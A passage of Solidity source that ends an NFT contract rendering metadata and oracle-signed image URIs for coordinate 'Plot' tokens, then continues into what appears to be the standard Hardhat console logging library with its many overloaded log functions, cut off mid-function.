attributes, bool staked ) internal view returns (string memory) { string memory svg = _getSvg(tokenId, staked); return FormatMetadata.formatMetadataWithSVG( _getName(tokenId, staked), staked ? _stakedDescription : _description, svg, attributes, "" ); } function _getName(uint256 tokenId, bool staked) internal view returns (string memory) { (int256 x, int256 y) = IPlot(plotAddress).getPlotCoordinate(tokenId); return string( abi.encodePacked(staked ? "s" : "", "Plot ", _formatCoordinate(x, y)) ); } function _getSvg(uint256 tokenId, bool staked) internal view returns (string memory) { return string( abi.encodePacked( HEADER, _formatLayer(imageURI(tokenId)), staked ? _formatLayer(STAKED_LAYER) : "", FOOTER ) ); } function _getAttributes(uint256 tokenId) internal view returns (string[] memory) { (int256 x, int256 y) = IPlot(plotAddress).getPlotCoordinate(tokenId); string[] memory attributes = new string[](2); attributes[0] = FormatMetadata.formatTraitNumber("x", x, "number"); attributes[1] = FormatMetadata.formatTraitNumber("y", y, "number"); return attributes; } function _formatLayer(string memory layer) internal pure returns (string memory) { if (bytes(layer).length == 0) { return ""; } return string(abi.encodePacked(PNG_HEADER, layer, PNG_FOOTER)); } function _formatCoordinate(int256 x, int256 y) internal pure returns (string memory) { return string( abi.encodePacked( "(", FormatMetadata.intToString(x), ",", FormatMetadata.intToString(y), ")" ) ); } function imageURI(uint256 tokenId) public view returns (string memory) { string memory uri = _imageURIs[tokenId]; if (bytes(uri).length > 0) { return uri; } string memory baseImageURI = _baseImageURI; return bytes(baseImageURI).length > 0 ? string(abi.encodePacked(baseImageURI, tokenId.toString())) : PLACEHOLDER_LAYER; } function _verify(bytes32 messageHash, bytes memory signature) internal view returns (bool) { return messageHash.toEthSignedMessageHash().recover(signature) == oracleAddress; } function _getMessageHash( uint256 tokenId, string memory uri, uint256 exp ) internal pure returns (bytes32) { return keccak256(abi.encodePacked(tokenId, uri, exp)); } /* WRITE FUNCTIONS */ function setImageURI( uint256 tokenId, string calldata uri, uint256 exp, bytes calldata signature ) external { require(exp > block.number, "Signature expired"); require( _verify(_getMessageHash(tokenId, uri, exp), signature), "Invalid signature" ); _imageURIs[tokenId] = uri; } /* OWNER FUNCTIONS */ function setBaseImageURI(string calldata baseImageURI) external onlyOwner { _baseImageURI = baseImageURI; } function setDescription(string calldata description) external onlyOwner { _description = description; } function setStakedDescription(string calldata stakedDescription) external onlyOwner { _stakedDescription = stakedDescription; } function setOracleAddress(address _oracleAddress) external onlyOwner { oracleAddress = _oracleAddress; } function setPlotAddress(address _plotAddress) external onlyOwner { plotAddress = _plotAddress; } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string 